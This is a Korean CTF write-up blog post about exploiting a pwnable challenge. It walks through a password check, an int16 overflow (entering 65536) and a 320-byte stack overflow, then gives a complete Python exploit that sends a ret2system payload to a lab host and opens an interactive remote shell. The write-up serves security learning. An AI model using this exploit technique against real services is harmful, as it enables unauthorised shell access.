프로그램을 실행하면 알람 함수가 있는데 타이머 같은거다 15초 제한
프로그램 실행 시 패스워드를 요구한다.
다 적혀있으니 좋고
다음으로 숫자를 입력받는데 v5변수를 사용하고
v8이 0x12C보다 높으면 아래의 메시지를 보여준다.
v5 변수를 살펴보면 __int16인걸 알 수 있다. 즉 범위가 0~65535까지 인 것이다.
그리고 마지막으로 names:를 입력받는데 v7의 크기는
0x138로 312바이트 이다.
이제 실행해서 살펴보면
1단계 패스워드와 2단계 숫자는 무난하게 넘어갈 수 있다.
__int16의 범위가 65535이니 +1를 해준 값을 넣는다.
마지막으로 3단계에서 바이트를 320개를 넣어주면 세그먼테이션 폴트가 뜨는걸 볼 수 있다.
그렇다면 마지막에 320바이트를 넣어주고 시스템 함수를 호출해보자
/bin/sh와
시스템 함수의 주소가 다 파일안에 들어있기 때문에 고대로 넣어주면된다.
from socket import * from struct import * from time import sleep p = lambda x: pack("<L", x) up = lambda x: unpack("<L", x)[0] passwd = "0z57cr40a2abc34103295de63bb2b36e" v5 = "65536" system = 0x08048570 sh = 0x0804A050 payload = "\x90"*320 payload += p(system) payload += p(0x41414141) payload += p(sh) socket = socket(AF_INET, SOCK_STREAM) socket.connect(("192.168.153.139", 1234)) print socket.recv(1024) socket.send(passwd+"\n") print socket.recv(1024) socket.send(v5+"\n") print socket.recv(1024) socket.send(payload+"\n") print socket.recv(1024) sleep(1) print socket.recv(1024) sleep(1) print socket.recv(1024) sleep(1) print socket.recv(1024) while 1: command = raw_input("tory> ") send = socket.send(command+"\n") print socket.recv(1024)
실행한 모습
'CTF > Write-up' 카테고리의 다른 글
holyshield pwnit (0) | 2017.01.10 |
---|---|
codegate 2013 vuln200 (0) | 2017.01.08 |
Pico ctf 2014 rop1 (0) | 2017.01.05 |
NEWSECU CTF Write-up (0) | 2017.01.01 |
holyshield ppc (0) | 2016.12.24 |